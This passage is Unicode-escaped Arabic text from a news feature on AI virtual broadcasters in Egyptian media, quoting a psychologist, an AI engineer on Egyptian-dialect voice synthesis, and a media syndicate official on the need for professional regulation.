\u0623\u0648 \u0627\u0644\u0643\u0648\u0627\u0631\u062b\u060c \u0623\u0648 \u0641\u064a \u0644\u062d\u0638\u0627\u062a \u0627\u0644\u0641\u0631\u062d\u060c \u0643\u0641\u0648\u0632 \u0641\u0631\u064a\u0642 \u0648\u0637\u0646\u064a\u060c \u064a\u0628\u0631\u0632 \u0627\u0644\u0641\u0631\u0642 \u0627\u0644\u062c\u0648\u0647\u0631\u064a \u0628\u064a\u0646 \u0627\u0644\u0625\u0646\u0633\u0627\u0646 \u0648\u0627\u0644\u0622\u0644\u0629. \u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0628\u0634\u0631\u064a \u0642\u062f \u062a\u062a\u063a\u064a\u0631 \u0646\u0628\u0631\u062a\u0647\u060c \u064a\u0646\u0643\u0633\u0631 \u0635\u0648\u062a\u0647\u060c \u064a\u0628\u0643\u064a\u060c \u064a\u0636\u062d\u0643\u060c \u0648\u064a\u062a\u0644\u0639\u062b\u0645. \u0643\u0644\u0647\u0627 \u0625\u0634\u0627\u0631\u0627\u062a \u0646\u0641\u0633\u064a\u0629 \u062a\u064f\u062d\u062f\u062b \u0623\u062b\u0631\u064b\u0627 \u0639\u0627\u0637\u0641\u064a\u064b\u0627 \u0644\u062f\u0649 \u0627\u0644\u0645\u062a\u0644\u0642\u064a\u060c \u0648\u062a\u064f\u0641\u0639\u0651\u0644 \u0645\u0627 \u064a\u064f\u0639\u0631\u0641 \u0641\u064a \u0639\u0644\u0645 \u0627\u0644\u0646\u0641\u0633 \u0628\u0640\u201d \u0627\u0644\u062a\u0646\u0627\u063a\u0645 \u0627\u0644\u0634\u0639\u0648\u0631\u064a\u201d. \u0628\u064a\u0646\u0645\u0627 \u064a\u0638\u0644 \u0627\u0644\u0623\u0641\u0627\u062a\u0627\u0631 \u0645\u062d\u0627\u064a\u062f\u064b\u0627\u060c \u0628\u0627\u0631\u062f\u0627\u064b\u060c \u0648\u0643\u0623\u0646\u0647 \u064a\u0642\u0631\u0623 \u0645\u0646 \u0648\u0631\u0642\u0629.\r\n\r\n\u00a0\u0648\u064a\u0636\u064a\u0641: \u201c\u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u062d\u0642\u064a\u0642\u064a \u064a\u0645\u0644\u0643 \u0645\u0647\u0627\u0631\u0627\u062a \u0627\u0631\u062a\u062c\u0627\u0644 \u0641\u0631\u064a\u062f\u0629 \u062a\u064f\u0639\u0631\u0641 \u0628\u0627\u0644\u0627\u062d\u062a\u0648\u0627\u0621 \u0627\u0644\u0644\u062d\u0638\u064a\u060c \u0641\u064a\u0646\u0642\u0630 \u0627\u0644\u0645\u0648\u0642\u0641 \u062d\u064a\u0646 \u064a\u062d\u062f\u062b \u062e\u0644\u0644 \u0639\u0644\u0649 \u0627\u0644\u0647\u0648\u0627\u0621 \u0623\u0648 \u0641\u0631\u0627\u063a \u0641\u064a \u0627\u0644\u0628\u062b\u060c \u0623\u0645\u0627 \u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a \u0641\u0645\u062d\u0643\u0648\u0645 \u0628\u0628\u0631\u0645\u062c\u0629 \u062c\u0627\u0645\u062f\u0629 \u0644\u0627 \u062a\u0639\u062a\u0631\u0641 \u0628\u0627\u0644\u062d\u0633\u0627\u0633\u064a\u0629 \u0627\u0644\u0646\u0641\u0633\u064a\u0629 \u0644\u0644\u062d\u0638\u0629\u201d.\r\n\r\n\u00a0\u0643\u0645\u0627 \u064a\u0634\u064a\u0631 \u0625\u0644\u0649 \u062c\u0627\u0646\u0628 \u0646\u0641\u0633\u064a \u0628\u0627\u0644\u063a \u0627\u0644\u0623\u0647\u0645\u064a\u0629\u060c \u0648\u0647\u0648 \u201c\u0627\u0644\u0627\u0646\u062a\u0645\u0627\u0621 \u0627\u0644\u0645\u0647\u0646\u064a\u201d\u060c \u0648\u0627\u0644\u0630\u064a \u064a\u062a\u0634\u0643\u0644 \u0645\u0646 \u0645\u0634\u0627\u0639\u0631 \u0641\u062e\u0631\u060c \u0648\u0643\u0641\u0627\u062d\u060c \u0648\u062a\u0627\u0631\u064a\u062e \u0637\u0648\u064a\u0644 \u0645\u0646 \u0627\u0644\u0646\u062c\u0627\u062d\u0627\u062a \u0648\u0627\u0644\u0627\u0646\u0643\u0633\u0627\u0631\u0627\u062a. \u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0628\u0634\u0631\u064a \u0627\u0628\u0646 \u0627\u0644\u0645\u0624\u0633\u0633\u0629 \u0627\u0644\u062a\u064a \u064a\u0639\u0645\u0644 \u0628\u0647\u0627\u060c \u064a\u0634\u0639\u0631 \u062a\u062c\u0627\u0647\u0647\u0627\u060c \u064a\u062f\u0627\u0641\u0639 \u0639\u0646\u0647\u0627\u060c \u064a\u062a\u0623\u0644\u0645 \u0644\u0623\u0644\u0645\u0647\u0627 \u0648\u064a\u0641\u0631\u062d \u0628\u0646\u062c\u0627\u062d\u0647\u0627. \u0648\u0647\u0648 \u0645\u0627 \u064a\u0633\u062a\u062d\u064a\u0644 \u0632\u0631\u0639\u0647 \u0641\u064a \u0634\u062e\u0635\u064a\u0629 \u0627\u0641\u062a\u0631\u0627\u0636\u064a\u0629 \u062e\u0627\u0644\u064a\u0629 \u0645\u0646 \u0627\u0644\u0639\u0627\u0637\u0641\u0629.\r\n\r\n\u00a0\u0648\u064a\u062a\u0627\u0628\u0639 \u062d\u062f\u064a\u062b\u0647 \u0628\u0627\u0644\u0625\u0634\u0627\u0631\u0629 \u0625\u0644\u0649 \u0623\u062b\u0631 \u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0628\u0634\u0631\u064a \u0641\u064a \u062a\u0643\u0648\u064a\u0646 \u0627\u0644\u0637\u0645\u0648\u062d \u0644\u062f\u0649 \u0627\u0644\u0623\u0637\u0641\u0627\u0644 \u0648\u0627\u0644\u0645\u0631\u0627\u0647\u0642\u064a\u0646\u060c \u0645\u0624\u0643\u062f\u064b\u0627 \u0623\u0646 \u0647\u0630\u0647 \u0627\u0644\u0634\u062e\u0635\u064a\u0627\u062a \u062a\u0634\u0643\u0651\u0644 \u0642\u062f\u0648\u0629 \u0646\u0641\u0633\u064a\u0629 \u062d\u0642\u064a\u0642\u064a\u0629\u060c \u062a\u064f\u063a\u0630\u0651\u064a \u0627\u0644\u062e\u064a\u0627\u0644 \u0648\u0627\u0644\u0647\u0648\u064a\u0629. \u201c\u0643\u0646\u062a \u0623\u062a\u062a\u0628\u0639 \u0627\u0644\u0645\u0630\u064a\u0639 \u0623\u062d\u0645\u062f \u0633\u0645\u064a\u0631\u060c \u0648\u0623\u0642\u0644\u062f\u0647 \u0641\u064a \u0635\u0648\u062a\u0647 \u0648\u0631\u0628\u0637\u0629 \u0639\u0646\u0642\u0647\u060c \u0648\u062a\u0643\u0648\u0651\u0646\u062a \u0644\u062f\u064a \u0631\u063a\u0628\u0629 \u062d\u0642\u064a\u0642\u064a\u0629 \u0641\u064a \u0623\u0646 \u0623\u0643\u0648\u0646 \u0645\u062b\u0644\u0647\u2026 \u0641\u0647\u0644 \u064a\u0645\u0643\u0646 \u0644\u0644\u0637\u0641\u0644 \u0623\u0646 \u064a\u062d\u0644\u0645 \u0623\u0646 \u064a\u0643\u0648\u0646 \u0623\u0641\u0627\u062a\u0627\u0631\u061f!\u201d.\r\n\r\n\u00a0\u0648\u064a\u062e\u062a\u0645 \u0627\u0644\u062f\u0643\u062a\u0648\u0631 \u0648\u0644\u064a\u062f \u0647\u0646\u062f\u064a \u0628\u0642\u0648\u0644\u0647: \u201c\u0631\u063a\u0645 \u0625\u0639\u0644\u0627\u0646 \u062f\u0648\u0644 \u0643\u0628\u0631\u0649 \u2013 \u0645\u062b\u0644 \u0627\u0644\u0635\u064a\u0646 \u2013 \u0639\u0646 \u0622\u0644\u0627\u0641 \u0645\u0646 \u0627\u0644\u0645\u0630\u064a\u0639\u064a\u0646 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u064a\u0646\u060c \u0644\u0645 \u0646\u0631\u064e \u0644\u0647\u0645 \u062a\u0623\u062b\u064a\u0631\u064b\u0627 \u0646\u0641\u0633\u064a\u064b\u0627 \u0623\u0648 \u0648\u062c\u062f\u0627\u0646\u064a\u064b\u0627 \u064a\u064f\u0630\u0643\u0631. \u0628\u0628\u0633\u0627\u0637\u0629\u060c \u0644\u0623\u0646\u0647\u0645 \u064a\u0641\u062a\u0642\u0631\u0648\u0646 \u0644\u0644\u0631\u0648\u062d\u060c \u0648\u0627\u0644\u0631\u0648\u062d \u0647\u064a \u0623\u0633\u0627\u0633 \u0643\u0644 \u062a\u0648\u0627\u0635\u0644 \u0625\u0646\u0633\u0627\u0646\u064a \u062d\u0642\u064a\u0642\u064a. \u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u2026 \u0648\u0647\u0645 \u0639\u0638\u064a\u0645 \u062a\u0642\u0646\u064a\u064b\u0627\u060c \u0644\u0643\u0646\u0647 \u0641\u0642\u064a\u0631 \u0648\u062c\u062f\u0627\u0646\u064a\u064b\u0627\u201d\r\n\r\n\u0645\u0647\u0646\u062f\u0633 \u0630\u0643\u0627\u0621 \u0627\u0635\u0637\u0646\u0627\u0639\u064a: \u0627\u0644\u0644\u0647\u062c\u0629 \u0627\u0644\u0645\u0635\u0631\u064a\u0629.. \u062a\u062d\u062f\u064d \u0645\u0633\u062a\u0645\u0631 \u0644\u0644\u0622\u0644\u0629\r\n\r\n\u0635\u0631\u062d \u0627\u0644\u0645\u0647\u0646\u062f\u0633 \u0623\u062d\u0645\u062f \u0631\u0623\u0641\u062a\u060c \u0645\u0647\u0646\u062f\u0633 \u0645\u064a\u0643\u0627\u0646\u064a\u0643\u0627 \u0648\u0645\u062a\u062e\u0635\u0635 \u0641\u064a \u0623\u062f\u0648\u0627\u062a \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a\u060c \u062d\u0648\u0644 \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u062a\u0642\u0646\u064a\u0627\u062a \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a \u0641\u064a \u0645\u062c\u0627\u0644 \u0627\u0644\u0635\u0648\u062a \u0648\u0627\u0644\u0641\u064a\u062f\u064a\u0648\u060c \u0645\u0633\u0644\u0637\u064b\u0627 \u0627\u0644\u0636\u0648\u0621 \u0639\u0644\u0649 \u0627\u0644\u062a\u062d\u062f\u064a\u0627\u062a \u0648\u0627\u0644\u0641\u0631\u0635 \u0627\u0644\u0645\u062a\u0627\u062d\u0629.\r\n\r\n\u0648\u0623\u0648\u0636\u062d \u0627\u0644\u0645\u0647\u0646\u062f\u0633 \u0631\u0623\u0641\u062a \u0623\u0646 \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u062a\u0642\u0646\u064a\u0627\u062a \u0627\u0644\u0635\u0648\u062a \u064a\u0645\u0631 \u0628\u0645\u0631\u0627\u062d\u0644 \u0645\u062a\u062f\u0631\u062c\u0629\u060c \u062a\u0628\u062f\u0623 \u0628\u062a\u0642\u0646\u064a\u0629 \"\u0627\u0644\u0646\u0635 \u0625\u0644\u0649 \u0643\u0644\u0627\u0645\" \u0627\u0644\u062a\u0642\u0644\u064a\u062f\u064a\u0629\u060c \u0648\u0627\u0644\u062a\u064a \u0648\u0635\u0641\u0647\u0627 \u0628\u0623\u0646\u0647\u0627 \u0630\u0627\u062a \u062c\u0648\u062f\u0629 \u0645\u062d\u062f\u0648\u062f\u0629 \u0648\u062a\u0628\u062f\u0648 \u0645\u064a\u0643\u0627\u0646\u064a\u0643\u064a\u0629. \u0648\u0623\u0634\u0627\u0631 \u0625\u0644\u0649 \u0627\u0644\u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u062b\u0627\u0646\u064a \u0627\u0644\u0630\u064a \u064a\u0633\u062a\u062e\u062f\u0645 \u0645\u0646\u0635\u0627\u062a \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a \u0628\u0627\u0644\u0644\u063a\u0629 \u0627\u0644\u0625\u0646\u062c\u0644\u064a\u0632\u064a\u0629 \u0644\u0625\u0646\u062a\u0627\u062c \u0635\u0648\u062a \u064a\u0642\u062a\u0631\u0628 \u0645\u0646 \u0627\u0644\u0644\u0647\u062c\u0629 \u0627\u0644\u0645\u0635\u0631\u064a\u0629\u060c \u0648\u0644\u0643\u0646\u0647 \u0644\u0627 \u064a\u0631\u062a\u0642\u064a \u0625\u0644\u0649 \u062c\u0648\u062f\u0629 \u0627\u0644\u0644\u0647\u062c\u0629 \u0627\u0644\u0623\u0635\u0644\u064a\u0629.\r\n\r\n\u00a0\u0623\u0645\u0627 \u0627\u0644\u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u062b\u0627\u0644\u062b\u060c \u0648\u0641\u0642\u064b\u0627 \u0644\u062a\u0635\u0631\u064a\u062d\u0627\u062a \u0627\u0644\u0645\u0647\u0646\u062f\u0633 \u0631\u0623\u0641\u062a\u060c \u0641\u064a\u0639\u062a\u0645\u062f \u0639\u0644\u0649 \u062a\u0633\u062c\u064a\u0644 \u0627\u0644\u0635\u0648\u062a \u0628\u0644\u0647\u062c\u0629 \u0645\u0635\u0631\u064a\u0629 \u0637\u0628\u064a\u0639\u064a\u0629 \u0648\u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0628\u0631\u0627\u0645\u062c \u062a\u063a\u064a\u064a\u0631 \u0627\u0644\u0635\u0648\u062a \u0644\u0645\u062d\u0627\u0643\u0629 \u0623\u0635\u0648\u0627\u062a \u0634\u062e\u0635\u064a\u0627\u062a \u0645\u0639\u064a\u0646\u0629\u060c \u0645\u0639\u062a\u0628\u0631\u064b\u0627 \u0647\u0630\u0647 \u0627\u0644\u0637\u0631\u064a\u0642\u0629 \u0627\u0644\u0623\u0639\u0644\u0649 \u062c\u0648\u062f\u0629 \u0644\u0644\u0648\u0635\u0648\u0644 \u0625\u0644\u0649 \u0644\u0647\u062c\u0629 \u0645\u0635\u0631\u064a\u0629 \u0648\u0627\u0642\u0639\u064a\u0629.\r\n\r\n\u00a0\u0648\u0641\u064a\u0645\u0627 \u064a\u062a\u0639\u0644\u0642 \u0628\u0627\u0644\u0645\u0633\u062a\u0648\u0649 \u0627\u0644\u0631\u0627\u0628\u0639 \u0648\u0627\u0644\u0623\u0639\u0644\u0649\u060c \u0644\u0641\u062a \u0627\u0644\u0645\u0647\u0646\u062f\u0633 \u0625\u0644\u0649 \u0623\u0646\u0647 \u064a\u0639\u062a\u0645\u062f \u0639\u0644\u0649 \u0643\u062a\u0627\u0628\u0629 \u0627\u0644\u0646\u0635 \u0628\u0627\u0644\u0639\u0631\u0628\u064a\u0629 \u0627\u0644\u0641\u0635\u062d\u0649 \u0623\u0648 \u0627\u0644\u0639\u0627\u0645\u064a\u0629 \u0648\u062a\u0634\u0643\u064a\u0644\u0647 \u0644\u063a\u0648\u064a\u064b\u0627\u060c \u062b\u0645 \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0646\u0645\u0627\u0630\u062c \u0645\u062f\u0631\u0628\u0629 \u0639\u0644\u0649 \u0646\u0637\u0642 \u0627\u0644\u0644\u0647\u062c\u0629 \u0627\u0644\u0645\u0635\u0631\u064a\u0629\u060c \u0645\u0639 \u0627\u0644\u0625\u0634\u0627\u0631\u0629 \u0625\u0644\u0649 \u0627\u0644\u062a\u062d\u062f\u064a\u0627\u062a \u0627\u0644\u0642\u0627\u0626\u0645\u0629 \u0646\u0638\u0631\u064b\u0627 \u0644\u0639\u062f\u0645 \u062a\u062f\u0631\u064a\u0628 \u0645\u0639\u0638\u0645 \u0627\u0644\u0646\u0645\u0627\u0630\u062c \u0628\u0634\u0643\u0644 \u0643\u0627\u0641\u064d \u0639\u0644\u0649 \u0647\u0630\u0647 \u0627\u0644\u0644\u0647\u062c\u0629.\r\n\r\n\u00a0\u0623\u0643\u062f \u0627\u0644\u0645\u0647\u0646\u062f\u0633 \u0631\u0623\u0641\u062a \u0639\u0644\u0649 \u0623\u0646 \"\u0627\u0644\u0644\u0643\u0646\u0629 \u0627\u0644\u0645\u0635\u0631\u064a\u0629 \u062a\u062d\u062f\u064a\u062f\u064b\u0627 \u062a\u064f\u0639\u062f \u0645\u0646 \u0623\u0635\u0639\u0628 \u0627\u0644\u0644\u0647\u062c\u0627\u062a \u0627\u0644\u062a\u064a \u064a\u0645\u0643\u0646 \u0644\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a \u0645\u062d\u0627\u0643\u0627\u062a\u0647\u0627 \u0628\u062f\u0642\u0629\u060c \u0648\u0630\u0644\u0643 \u0644\u0623\u0646\u0647\u0627 \u062e\u0644\u064a\u0637 \u0644\u063a\u0648\u064a \u064a\u062c\u0645\u0639 \u0628\u064a\u0646 \u0639\u062f\u0629 \u0644\u063a\u0627\u062a\u060c \u0645\u0645\u0627 \u064a\u062c\u0639\u0644 \u0625\u062a\u0642\u0627\u0646\u0647\u0627 \u062a\u062d\u062f\u064a\u064b\u0627 \u0644\u0646\u0645\u0627\u0630\u062c \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a\u060c \u062e\u0627\u0635\u0629 \u0645\u0639 \u0645\u062d\u062f\u0648\u062f\u064a\u0629 \u062a\u062f\u0631\u064a\u0628\u0647\u0627 \u0639\u0644\u0649 \u0627\u0644\u0644\u063a\u0629 \u0627\u0644\u0639\u0631\u0628\u064a\u0629 \u0623\u0635\u0644\u064b\u0627.\"\r\n\r\n\u0628\u0627\u0644\u0627\u0646\u062a\u0642\u0627\u0644 \u0625\u0644\u0649 \u062a\u062c\u0647\u064a\u0632 \u0627\u0644\u0641\u064a\u062f\u064a\u0648\u060c \u0634\u0631\u062d \u0627\u0644\u0645\u0647\u0646\u062f\u0633 \u0625\u0645\u0643\u0627\u0646\u064a\u0629 \u062a\u0631\u0643\u064a\u0628 \u0627\u0644\u0635\u0648\u062a \u0639\u0644\u0649 \u0641\u064a\u062f\u064a\u0648 \u062d\u0642\u064a\u0642\u064a \u0623\u0648 \u0635\u0648\u0631\u0629\u060c \u0645\u0639 \u0627\u0644\u0625\u0634\u0627\u0631\u0629 \u0625\u0644\u0649 \u0645\u0646\u0635\u0627\u062a \u0645\u062b\u0644 Magic AI \u0627\u0644\u062a\u064a \u062a\u062a\u064a\u062d \u0625\u0646\u0634\u0627\u0621 \u0641\u064a\u062f\u064a\u0648\u0647\u0627\u062a \u0623\u0648 \u0635\u0648\u0631 \u0645\u062a\u062d\u0631\u0643\u0629 \u0628\u0645\u062f\u0629 \u0645\u062d\u062f\u0648\u062f\u0629 \u0641\u064a \u0627\u0644\u0646\u0633\u062e\u0629 \u0627\u0644\u0645\u062c\u0627\u0646\u064a\u0629. \u0643\u0645\u0627 \u062a\u0637\u0631\u0642 \u0625\u0644\u0649 \u0627\u0633\u062a\u062e\u062f\u0627\u0645 \u0627\u0644\u0645\u0648\u0627\u0642\u0639 \u0644\u0645\u0639\u0644\u0642\u064a\u0646 \u0635\u0648\u062a\u064a\u064a\u0646 \u062c\u0627\u0647\u0632\u064a\u0646 \u0644\u0625\u0646\u0634\u0627\u0621 \u0645\u0627 \u064a\u064f\u0639\u0631\u0641 \u0628\u0627\u0644\u0645\u0630\u064a\u0639\u064a\u0646 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u064a\u0646\u060c \u0645\u0639 \u0645\u0644\u0627\u062d\u0638\u0629 \u0623\u0646 \u0647\u0630\u0647 \u0627\u0644\u0637\u0631\u0642 \u0642\u062f \u0644\u0627 \u062a\u0642\u062f\u0645 \u0623\u0641\u0636\u0644 \u062c\u0648\u062f\u0629 \u0641\u064a \u0627\u0644\u062a\u0641\u0627\u0639\u0644 \u0627\u0644\u0635\u0648\u062a\u064a \u0648\u0627\u0644\u062a\u0639\u0628\u064a\u0631 \u0639\u0646 \u0627\u0644\u0645\u0634\u0627\u0639\u0631.\r\n\r\n\u00a0\u0648\u0641\u064a \u062e\u062a\u0627\u0645 \u062a\u0635\u0631\u064a\u062d\u0647\u060c \u0623\u0643\u062f \u0627\u0644\u0645\u0647\u0646\u062f\u0633 \u0623\u062d\u0645\u062f \u0631\u0623\u0641\u062a \u0639\u0644\u0649 \u0623\u0646 \"\u0627\u0644\u062a\u0641\u0627\u0639\u0644 \u0627\u0644\u062d\u0642\u064a\u0642\u064a \u0645\u0639 \u0627\u0644\u0635\u0648\u062a \u0648\u0627\u0644\u0645\u0634\u0627\u0639\u0631 \u0645\u0627 \u064a\u0632\u0627\u0644 \u064a\u062a\u0637\u0644\u0628 \u062a\u062f\u062e\u0644\u0627\u064b \u0628\u0634\u0631\u064a\u064b\u0627\"\u060c \u0645\u0634\u064a\u0631\u064b\u0627 \u0625\u0644\u0649 \u0623\u0646 \u0627\u0644\u0645\u0634\u0627\u0639\u0631 \u0627\u0644\u0645\u0631\u062a\u0628\u0637\u0629 \u0628\u0646\u0628\u0631\u0629 \u0627\u0644\u0635\u0648\u062a \u0644\u0627 \u062a\u0632\u0627\u0644 \u063a\u064a\u0631 \u0645\u062f\u0639\u0648\u0645\u0629 \u0628\u0627\u0644\u0643\u0627\u0645\u0644 \u0641\u064a \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a. \u0648\u0644\u0643\u0646\u0647 \u0646\u0648\u0651\u0647 \u0625\u0644\u0649 \u0627\u0644\u0645\u064a\u0632\u0629 \u0627\u0644\u0627\u0642\u062a\u0635\u0627\u062f\u064a\u0629 \u0644\u0647\u0630\u0647 \u0627\u0644\u062a\u0642\u0646\u064a\u0627\u062a\u060c \u062d\u064a\u062b \u0625\u0646 \u062a\u0643\u0644\u0641\u062a\u0647\u0627 \"\u0645\u0646\u062e\u0641\u0636\u0629 \u062c\u062f\u064b\u0627 \u0645\u0642\u0627\u0631\u0646\u0629 \u0628\u0623\u062c\u0648\u0631 \u0627\u0644\u0645\u0630\u064a\u0639\u064a\u0646 \u0627\u0644\u0628\u0634\u0631\u064a\u064a\u0646.\"\r\n\r\n\u00a0\u0646\u0642\u0627\u0628\u0629 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a\u064a\u0646 \u062a\u0624\u0643\u062f: \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a \u0641\u0631\u0635\u0629 \u0644\u062a\u0637\u0648\u064a\u0631 \u0627\u0644\u0623\u062f\u0627\u0621 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a \u0645\u0639 \u0627\u0644\u062d\u0641\u0627\u0638 \u0639\u0644\u0649 \u0627\u0644\u062f\u0648\u0631 \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a\r\n\r\n\u064a\u0631\u0649 \u0623\u064a\u0645\u0646 \u0639\u062f\u0644\u064a \u0645\u0647\u062f\u064a\u060c \u0631\u0626\u064a\u0633 \u0644\u062c\u0646\u0629 \u0627\u0644\u062a\u062f\u0631\u064a\u0628 \u0648\u0627\u0644\u062a\u062b\u0642\u064a\u0641 \u0628\u0646\u0642\u0627\u0628\u0629 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a\u064a\u0646\u060c \u0623\u0646 \u0638\u0627\u0647\u0631\u0629 \u0627\u0644\u0645\u0630\u064a\u0639\u064a\u0646 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u064a\u0646 \u062a\u0645\u062b\u0644 \u0627\u0646\u0639\u0643\u0627\u0633\u064b\u0627 \u0637\u0628\u064a\u0639\u064a\u064b\u0627 \u0644\u0644\u062a\u0637\u0648\u0631 \u0627\u0644\u062a\u0643\u0646\u0648\u0644\u0648\u062c\u064a \u0627\u0644\u0633\u0631\u064a\u0639 \u0627\u0644\u0630\u064a \u064a\u0634\u0647\u062f\u0647 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u060c \u0646\u062a\u064a\u062c\u0629 \u0627\u0646\u062f\u0645\u0627\u062c \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a \u0627\u0644\u0645\u062a\u0632\u0627\u064a\u062f \u0641\u064a \u0625\u0646\u062a\u0627\u062c \u0648\u062a\u0642\u062f\u064a\u0645 \u0627\u0644\u0645\u062d\u062a\u0648\u0649.\r\n\r\n\u0648\u064a\u0634\u064a\u0631 \u0625\u0644\u0649 \u0623\u0646 \u0646\u0642\u0627\u0628\u0629 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a\u064a\u0646 \u062a\u062a\u0639\u0627\u0645\u0644 \u0645\u0639 \u0647\u0630\u0647 \u0627\u0644\u0638\u0627\u0647\u0631\u0629 \u0645\u0646 \u0632\u0627\u0648\u064a\u062a\u064a\u0646: \u0627\u0644\u0623\u0648\u0644\u0649: \u0623\u0646\u0647\u0627 \u0642\u062f \u062a\u0631\u0641\u0639 \u0645\u0646 \u0643\u0641\u0627\u0621\u0629 \u0627\u0644\u0625\u0646\u062a\u0627\u062c \u0648\u062c\u0648\u062f\u0629 \u0627\u0644\u0645\u062d\u062a\u0648\u0649. \u0627\u0644\u062b\u0627\u0646\u064a\u0629: \u0623\u0646\u0647\u0627 \u062a\u062b\u064a\u0631 \u062a\u0633\u0627\u0624\u0644\u0627\u062a \u062d\u0648\u0644 \u0627\u0644\u0645\u0635\u062f\u0627\u0642\u064a\u0629 \u0648\u0627\u0644\u062c\u0627\u0646\u0628 \u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a \u0627\u0644\u0630\u064a \u0644\u0627 \u064a\u0645\u0643\u0646 \u062a\u0639\u0648\u064a\u0636\u0647.\r\n\r\n\u0648\u064a\u0624\u0643\u062f \u0623\u0646 \u0627\u0644\u0625\u0639\u0644\u0627\u0645 \u0627\u0644\u062a\u0646\u0645\u0648\u064a\u060c \u0627\u0644\u0630\u064a \u064a\u0647\u062f\u0641 \u0625\u0644\u0649 \u0628\u0646\u0627\u0621 \u0627\u0644\u0648\u0639\u064a \u0627\u0644\u0645\u062c\u062a\u0645\u0639\u064a \u0648\u0627\u0644\u0625\u0646\u0633\u0627\u0646\u064a\u060c \u0644\u0627 \u064a\u0645\u0643\u0646 \u0623\u0646 \u064a\u0624\u062f\u064a\u0647 \u0627\u0644\u0630\u0643\u0627\u0621 \u0627\u0644\u0627\u0635\u0637\u0646\u0627\u0639\u064a \u0645\u0646\u0641\u0631\u062f\u064b\u0627\u060c \u0644\u0623\u0646\u0647 \u064a\u062a\u0637\u0644\u0628 \u062a\u0641\u0627\u0639\u0644\u064b\u0627 \u0625\u0646\u0633\u0627\u0646\u064a\u064b\u0627 \u0645\u0628\u0627\u0634\u0631\u064b\u0627 \u0644\u0627 \u062a\u0648\u0641\u0631\u0647 \u0627\u0644\u062a\u0642\u0646\u064a\u0627\u062a \u0645\u0647\u0645\u0627 \u062a\u0637\u0648\u0631\u062a. \u0644\u0630\u0644\u0643\u060c \u062a\u0631\u0649 \u0627\u0644\u0646\u0642\u0627\u0628\u0629 \u0623\u0646 \u0627\u0644\u0645\u0630\u064a\u0639 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a \u0644\u064a\u0633 \u0645\u062c\u0631\u062f \u062a\u0642\u0646\u064a\u0629\u060c \u0628\u0644 \u0639\u0646\u0635\u0631 \u062c\u062f\u064a\u062f \u0641\u064a \u0627\u0644\u0645\u0634\u0647\u062f \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a \u064a\u062c\u0628 \u0636\u0628\u0637\u0647 \u0628\u0636\u0648\u0627\u0628\u0637 \u0645\u0647\u0646\u064a\u0629 \u062f\u0642\u064a\u0642\u0629\u060c \u062a\u062d\u0645\u064a \u062f\u0648\u0631 \u0627\u0644\u0625\u0639\u0644\u0627\u0645\u064a \u0627\u0644\u0628\u0634\u0631\u064a \u0641\u064a \u0635\u0646\u0627\u0639\u0629 \u0627\u0644\u0648\u0639\u064a \u0648\u062a\u0634\u0643\u064a\u0644 \u0627\u0644\u0631\u0623\u064a \u0627\u0644\u0639\u0627\u0645.\r\n\r\n\u0648\u0631\u063a\u0645 \u0639\u062f\u0645 \u0648\u062c\u0648\u062f \u0625\u0637\u0627\u0631 \u062a\u0646\u0638\u064a\u0645\u064a \u0634\u0627\u0645\u0644 \u062d\u062a\u0649 \u0627\u0644\u0622\u0646 \u0644\u0636\u0628\u0637 \u0639\u0645\u0644 \u0627\u0644\u0645\u0630\u064a\u0639\u064a\u0646 \u0627\u0644\u0627\u0641\u062a\u0631\u0627\u0636\u064a\u064a\u0646\u060c \u0625\u0644\u0627 \u0623\u0646 \u0627\u0644\u0646\u0642\u0627\u0628\u0629 \u062a\u0639\u0645\u0644 \u0628\u0627\u0644\u062a\u0639\u0627\u0648\u0646 \u0645\u0639 \u0627\u0644\u0645\u062c\u0644\u0633 \u0627\u0644\u0623\u0639\u0644\u0649 \u0644\u062a\u0646\u0638\u064a\u0645 \u0627\u0644\u0625\u0639\u0644\u0627\u0645 \u0639\u0644\u0649 \u0648\u0636\u0639 \u0622\u0644\u064a\u0627\u062a \u0642\u0627\u0646\u0648\u0646\u064a\u0629 \u0648\u0645\u0647\u0646\u064a\u0629 \u062a\u0636\u0645\u0646 \u0627\u0644\u062a\u0632\u0627\u0645 \u0627\u0644\u0645\u062d\u062a\u0648\u0649 